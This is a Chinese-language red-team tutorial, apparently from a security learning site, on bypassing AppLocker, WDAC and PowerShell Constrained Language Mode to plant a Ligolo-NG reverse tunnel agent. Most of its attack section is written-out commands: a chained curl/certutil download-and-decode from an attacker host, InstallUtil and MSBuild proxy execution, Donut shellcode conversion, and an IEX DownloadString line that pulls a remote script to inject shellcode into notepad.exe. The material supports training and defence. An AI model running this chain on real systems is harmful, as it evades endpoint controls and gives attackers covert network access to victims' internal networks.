夜雨聆风学习资料网

ARTICLE · 1140974

利用Ligolo绕过WDAC与AppLocker:从受限环境到内网穿透的完整攻击链

利用Ligolo绕过WDAC与AppLocker:从受限环境到内网穿透的完整攻击链
现代企业依赖 AppLocker 和 Windows Defender 应用控制(WDAC)来阻止未经授权的二进制文件执行。这些控制措施旨在阻止:
  • 未经批准的 .exe 文件执行
  • 基于互联网的下载
  • 未签名的二进制文件
  • 完整的 PowerShell 功能(通过约束语言模式)

但现实世界的攻击者不会因为"执行被阻止"就停下脚步。相反,他们会转向"就地取材"(living-off-the-land)技术、受信任的 Windows 二进制文件(LOLBins)、内存中载荷执行,以及像 Ligolo-NG 这样的内网隧道工具。

本文正是模拟了这样的场景:

"你已经攻陷了一台受 AppLocker 管控的 Windows 机器。你需要绕过这些限制并部署 Ligolo-NG 以进行内网横向移动。"


攻击流程概览

在受 WDAC 和 AppLocker 保护的环境中,攻击者通常遵循一个可预测的攻陷后模式。这个攻击链展示了:

  • 限制确认 → 确认 AppLocker 强制执行
  • 载荷准备 → 准备 Ligolo agent
  • 托管服务 → 提供载荷下载
  • 执行绕过 → 使用 MSBuild 内联任务
  • 内存执行 → 避免磁盘执行
  • 会话建立 → Ligolo 代理会话

这反映了现实世界中攻击者的推进过程:

限制确认 → 验证 → 载荷准备 → 受信二进制滥用 → 内存执行 → 会话建立

核心思想:

应用控制阻止的是文件,而不是嵌入在受信进程中的执行逻辑。

这与真实的红队方法论完全一致。


MITRE ATT&CK 映射

  • 应用控制绕过 → T1562.001 → AppLocker 绕过
  • 签名二进制代理执行 → T1218.004 → MSBuild 滥用
  • 反射式代码加载 → T1620 → 内存中执行
  • 入口工具传输 → T1105 → HTTP/HTTPS 载荷投递
  • 基于 HTTPS 的命令与控制 → T1071.001 → Ligolo 隧道
  • 代理工具 → T1090 → Ligolo 内部会话

前置条件

  • Kali Linux(攻击机)
  • Windows(受害机)
  • 已配置 AppLocker
  • SharpReflectivePEInjection 工具
  • 已安装 MSBuild(.NET Framework)
  • Ligolo-NG
  • Donut

在这个场景中,我们从对一台强制执行 AppLocker 和 PowerShell 限制的 Windows 系统的有限访问权限开始,需要通过受信二进制文件来执行代码,而不是直接部署载荷。


强制应用控制策略

环境已通过 AppLocker 策略进行加固,以模拟真实的企业设置——在攻击者测试开始之前,未经授权的可执行文件就已被明确限制。

打开组策略管理器

AppLocker 规则通过 GPO(组策略对象)配置,这意味着强制执行发生在系统级别,而不是用户偏好级别。从攻击者的角度来看,这告诉我们执行控制是集中式的,而且可能很严格。

打开组策略管理器

如果控制是集中式的,绕过就必须利用受信的系统组件,而不是暴力执行。

导航至应用控制策略

计算机配置 → Windows 设置 → 安全设置 → 应用控制策略 → AppLocker

导航至应用控制策略

创建了一条阻止未签名可执行文件的规则。这模拟了真实的企业环境,其中只允许微软签名的二进制文件运行。

这立刻就排除了传统的载荷部署方法。

应用策略

刷新策略以确保强制执行处于活动状态。如果不这样做,执行测试将不可靠。

gpupdate /force
应用策略

在尝试绕过之前,务必先验证控制措施。假设会毁掉整个渗透项目。现在我们从配置阶段转入攻击测试阶段。


确认执行已被阻止

在尝试任何绕过之前,我们要验证防御控制措施确实在主动阻止未签名的二进制文件,以建立一个真正受限的操作环境。

尝试直接执行

我们尝试直接运行 Ligolo agent。这是一个验证步骤,而不是疏忽。

wget http://192.168.1.42/agent.exe -o agent.exe.\agent.exe
尝试直接执行被阻止

错误信息确认 AppLocker 正在阻止执行。这排除了基于磁盘的执行路径,迫使我们进入内存执行或受信二进制滥用的领域。


准备Ligolo基础设施

直接执行被阻止后,我们将重点转移到准备自定义载荷和命令控制基础设施,稍后将通过替代执行路径进行部署。

克隆Ligolo仓库

我们在 Kali 上准备基础设施。Ligolo-NG 稍后将用于加密连接。

git clone https://github.com/nicocha30/ligolo-ng.git
克隆Ligolo仓库

进入Agent源码目录

进入 agent 目录以便进行修改和自定义编译。自定义构建可以降低检测特征。

cd ligolo-ng/cmd/agent
进入Agent源码目录

这反映了真实的攻击者技巧:永远不要使用现成的二进制文件。

根据需要调整配置。

调整配置

编译Agent

它编译位于 cmd/agent/main.go 的 Go 程序,并在当前目录生成一个名为 agent.exe 的 Windows 可执行文件。这个二进制文件稍后将被转换为 shellcode。

go build -o agent.exe cmd/agent/main.go
编译Agent

在这个阶段,由于 AppLocker 的存在,它仍然无法执行。

在Visual Studio中打开SharpReflectivePEInjection项目

在 Visual Studio 中打开 SharpReflectivePEInjection 项目,该项目包含一个动态 PE 加载器,能够直接在内存中执行任意二进制文件。这个项目将作为执行包装器,通过避免直接磁盘执行来绕过 AppLocker。

在Visual Studio中打开SharpReflectivePEInjection项目

当二进制文件被阻止时,引入一个基于内存的加载器,以反射方式执行载荷。

生成解决方案

使用 生成 → 生成解决方案,项目被编译为 Windows 可执行文件。这将生成反射加载器二进制文件,稍后将用于动态加载 Ligolo shellcode 或载荷。

生成解决方案

我们正在构建一个执行容器,而不是最终载荷;这个加载器将成为投递机制。

验证Release文件夹中的编译产物

进入 bin → x64 → Release 并确认 SharpReflectivePEInjection.exe 存在。这确认编译成功,并确保反射加载器已准备好进行编码和分段投递。

验证Release文件夹中的编译产物

注意:在链接编码或投递技术之前,务必验证产物的创建。

Base64编码反射加载器

certutil -encode .\SharpReflectivePEInjection.exe loader.txt
Base64编码反射加载器

这将二进制文件转换为 Base64 格式,以便于传输和嵌入到脚本或 XML 文件中。

注意:编码将二进制文件转换为文本格式,使其更容易通过受限通道进行投递。

转移加载器并准备托管环境

确认 agent.exe 和 loader.txt 都存在于工作目录中,然后启动 Python HTTP 服务器:

python3 -m http.server 80
转移加载器并准备托管环境

这将反射加载器和载荷都准备好以供远程获取。


建立Ligolo代理

在绕过执行控制之前,加密基础设施必须处于运行状态,以便在实现代码执行后立即接收回连。

启动Ligolo代理(-selfcert)

代理通过 TLS 建立加密的 C2 通道。自签名证书模拟了真实世界攻击者的灵活性。

sudo ligolo-proxy -selfcert
启动Ligolo代理

这将初始化一个 TLS 加密的监听器,等待 agent 连接。


目标机上的载荷传输与重构

代理准备就绪后,下一个目标是仅使用原生工具在受限的 Windows 系统上传输和重构载荷。

使用原生工具下载并重构载荷

在 Windows 系统上,执行链式命令:

cmd.exe /c curl http://192.168.1.42/agent.exe -o C:\Users\Public\try-agent.exe && curl http://192.168.1.42/loader.txt -o C:\Users\Public\enc.txt && certutil -decode C:\Users\Public\enc.txt C:\Users\Public\ligolo.exe && del C:\Users\Public\enc.txt
使用原生工具下载并重构载荷

这条命令下载 agent、获取 Base64 编码的加载器、将其解码为 ligolo.exe,然后删除编码后的中间文件。

注意:使用"就地取材"二进制文件(curl + certutil)来传输和重构载荷,无需引入外部工具。

验证载荷

重构后,我们导航到 C:\Users\Public\ 并列出目录内容以确认:

  • try-agent.exe
  • ligolo.exe
验证载荷

此验证步骤确保在尝试通过受信二进制文件执行之前载荷已经存在。

使用InstallUtil执行载荷(受信二进制滥用)

不是直接执行未签名的二进制文件(AppLocker 会阻止),而是使用受信任的微软签名二进制文件来执行载荷:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U ligolo.exe
使用InstallUtil执行载荷

这滥用了 InstallUtil 的程序集加载行为来执行嵌入的恶意代码。签名二进制代理执行:执行发生在受信任的 .NET 工具内部,从而绕过了 AppLocker 限制。

Agent成功回连

在 Kali 机器上,Ligolo 代理日志显示:

Agent joined.
Agent成功回连

活动会话显示为:DC1\user@SRV2 – 192.168.122.15。这确认了代码执行成功,反向隧道已建立。

注意:执行验证必须始终从攻击者端基础设施确认。此外,应用控制阻止了直接执行,但受信二进制滥用达到了相同的结果。


Shellcode生成

由于基于文件的执行受到限制,策略从部署可执行文件转变为生成能够绕过应用控制策略的内存驻留 shellcode。

将Agent转换为Shellcode

Donut 生成 agent.bin,将可执行文件转换为内存中的 shellcode。这避免了触发文件执行控制。

donut -f 1 -o agent.bin -a 2 -p "-connect 192.168.1.42:11601 -ignore-cert" -i agent.exe
将Agent转换为Shellcode

核心思想:应用控制关注的是文件,而不是原始内存执行。

确认 agent.bin 存在可保证转换成功。载荷现在已以内存形式准备好执行。我们现在准备投递。

创建PowerShell反射加载器(ligolo.ps1)

PowerShell 脚本验证 64 位执行,启动一个挂起的合法进程,从远程服务器下载 agent.bin,并将 shellcode 注入到该进程中。

攻击者不是直接执行二进制文件,而是将 shellcode 注入到合法进程中,在受信任的父进程下实现执行。

创建PowerShell反射加载器

托管载荷

为了投递基于内存的载荷,建立了一个轻量级托管机制来提供脚本和 shellcode,而不会引入额外的工具复杂性。

通过Python HTTP服务器托管agent.bin和ligolo.ps1

在 Kali 上,确认两个文件都存在,然后启动 Web 服务器:

ls -la ligolo.ps1 agent.binpython -m http.server 80
通过Python HTTP服务器托管载荷

这将 shellcode 和反射加载器暴露出来以供远程获取。轻量级 HTTP 托管支持分段的、基于内存的载荷投递,而无需将最终可执行文件直接放到磁盘上。


通过PowerShell进行内存注入 & AppLocker绕过

在确认 agent.exe 的直接执行被 AppLocker 阻止后,攻击转向使用 PowerShell 加载器进行反射式内存执行,以绕过基于文件的强制控制。

通过PowerShell加载器进行反射Shellcode注入

直接执行 agent.exe 的尝试失败,提示"此程序被组策略阻止",确认了 AppLocker 的强制执行。为了绕过此限制,执行以下命令:

IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.42/ligolo.ps1')
通过PowerShell进行内存注入

远程脚本以挂起模式启动一个合法进程(notepad.exe),下载 agent.bin shellcode,将其注入进程内存,然后恢复执行。控制台输出确认注入成功,并指示检查监听器,表明 Ligolo agent 现在正在内存中运行。

注意:攻击不是从磁盘执行被阻止的二进制文件,而是将 shellcode 注入到受信任的进程中,实现无文件执行并绕过 AppLocker 的基于文件的强制模型。


Ligolo回连与会话建立

内存 shellcode 成功执行后,攻陷的最终确认来自攻击者端基础设施——当 Ligolo agent 回连并注册一个活动会话时。

确认Agent回连并选择活动会话

在攻击者机器上,Ligolo 代理日志显示……

Ligolo回连与会话建立

这确认注入的 shellcode 成功执行并建立了反向 TLS 隧道。然后操作者列出并选择活动会话。这将攻击者控制台绑定到被攻陷的主机,将其转换为一个交互式会话节点。

注意:执行成功不是在受害机上验证的,而是从命令与控制基础设施验证的;一旦 agent 加入,受限的端点就变成了一个受控的内网网关。


发现约束语言模式(CLM)

建立 Ligolo 会话后,了解被攻陷主机的安全态势至关重要,包括可能限制进一步后渗透活动的 PowerShell 执行限制。尝试再次执行反射加载器……

发现约束语言模式

这确认系统正在强制执行 PowerShell 约束语言模式(CLM),它限制了对象创建并限制了高级脚本功能。


通过内联任务执行绕过MSBuild CLM

在确认 PowerShell 运行在约束语言模式后,直接对象创建和高级脚本受到限制。为了绕过这些限制,必须通过一个能够编译和运行嵌入 C# 代码的受信任 .NET 二进制文件来执行。

创建MSBuild内联任务(ligolo-clm.xml)

精心制作一个恶意 MSBuild 项目文件,在 CDATA 块中包含嵌入的 C# 代码……

创建MSBuild内联任务

这允许 PowerShell 执行发生在 MSBuild 的受信任执行上下文中,而不是直接在受限的 PowerShell 会话中。

核心思想:与其绕过约束语言模式,不如将执行转移到完全受信任的 .NET 编译环境中。

准备XML、Shellcode和加载器以供投递

在 Kali 上,确认所有必需文件都存在。然后启动 HTTP 服务器:

ls -l ligolo-clm.xml ligolo.ps1 agent.binpython -m http.server 80
准备XML、Shellcode和加载器

这确保受害机器可以获取:ligolo-clm.xml、ligolo.ps1、agent.bin

核心思想:MSBuild 将获取并执行远程内容——在触发执行之前必须准备好投递环境。

在目标上下载并执行MSBuild项目

在受害系统上:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe ligolo-clmbypass.xml
在目标上下载并执行MSBuild项目

这确认 MSBuild 编译并执行了嵌入的 C# 任务,该任务在约束语言模式限制之外调用了 PowerShell 加载器。

注意:签名二进制代理执行(MSBuild)通过在微软签名的进程内执行代码,同时绕过了 AppLocker 和 CLM。

确认第二个Agent在Ligolo中回连

一个新的会话出现,确认绕过和执行成功……

确认第二个Agent在Ligolo中回连

成功的二次回连验证了 MSBuild 执行是在 PowerShell 受限上下文之外运行的。


学习网安实战技术,戳“阅读原文”

相关学习资料